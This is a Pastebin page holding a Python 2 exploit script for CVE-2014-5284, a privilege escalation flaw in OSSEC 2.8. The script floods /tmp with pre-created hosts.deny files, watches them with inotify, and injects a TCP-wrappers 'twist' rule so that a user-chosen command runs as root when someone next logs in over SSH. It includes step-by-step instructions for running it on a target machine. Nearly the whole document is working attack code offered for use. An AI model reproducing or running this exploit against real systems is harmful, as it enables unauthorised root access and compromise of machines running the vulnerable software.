unknowns-mm

CVE-2014-5284.py

Sep 30th, 2016
113
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.89 KB | None | 0 0
  1. #!/usr/bin/python
  2. # Exploit Title: ossec 2.8 Insecure Temporary File Creation Vulnerability Privilege Escalation
  3. # Date: 14-11-14
  4. # Exploit Author: skynet-13
  5. # Vendor Homepage: www.ossec.net/
  6. # Software Link: https://github.com/ossec/ossec-hids/archive/2.8.1.tar.gz
  7. # Version: OSSEC  - 2.8
  8. # Tested on: Ubunutu x86_64
  9. # CVE : 2014-5284
  10.  
  11. # Created from Research by
  12. # Jeff Petersen
  13. # Roka Security LLC
  14. # Original info at https://github.com/ossec/ossec-hids/releases/tag/2.8.1
  15.  
  16. # Run this on target machine and follow instructions to execute command as root
  17.  
  18. from twisted.internet import inotify
  19. from twisted.python import filepath
  20. from twisted.internet import reactor
  21. import os
  22. import optparse
  23. import signal
  24.  
  25.  
  26. class HostDenyExploiter(object):
  27.  
  28.     def __init__(self, path_to_watch, cmd):
  29.         self.path = path_to_watch
  30.         self.notifier = inotify.INotify()
  31.         self.exploit = cmd
  32.  
  33.     def create_files(self):
  34.         print "=============================================="
  35.         print "Creating /tmp/hosts.deny.300 through /tmp/hosts.deny.65536 ..."
  36.  
  37.         for i in range(300, 65536):
  38.             filename = "/tmp/hosts.deny.%s" % i
  39.             f = open(filename, 'w')
  40.             f.write("")
  41.             f.close()
  42.  
  43.     def watch_files(self):
  44.         print "=============================================="
  45.         print "Monitoring tmp for file change...."
  46.         print "ssh into the system a few times with an incorrect password"
  47.         print "Then wait for up to 10 mins"
  48.         print "=============================================="
  49.         self.notifier.startReading()
  50.         self.notifier.watch(filepath.FilePath(self.path), callbacks=[self.on_file_change])
  51.  
  52.     def write_exploit_to_file(self, path):
  53.         print 'Writing exploit to this file'
  54.         f = open(str(path).split("'")[1], 'w')
  55.         f.write(' sshd : ALL : twist %s \n' % self.exploit)
  56.         f.close()
  57.         print "=============================================="
  58.         print " ssh in again to execute the command"
  59.         print "=============================================="
  60.         print "               End Prog."
  61.         os.kill(os.getpid(), signal.SIGUSR1)
  62.  
  63.     def on_file_change(self, watch, path, mask):
  64.         print 'File: ', str(path).split("'")[1], ' has just been modified'
  65.         self.notifier.stopReading()
  66.         self.write_exploit_to_file(path)
  67.  
  68.  
  69. if __name__ == '__main__':
  70.     parser = optparse.OptionParser("usage of program \n" + "-c Command to run as root in quotes\n")
  71.     parser.add_option('-c', dest='cmd', type='string', help='Used to specify a command to run as root')
  72.     (options, args) = parser.parse_args()
  73.     cmd = options.cmd
  74.     if options.cmd is None:
  75.         print parser.usage
  76.         exit(0)
  77.     ex = HostDenyExploiter('/tmp', cmd)
  78.     ex.create_files()
  79.     ex.watch_files()
  80.     reactor.run()
  81.     exit(0)
Add Comment
Please, Sign In to add comment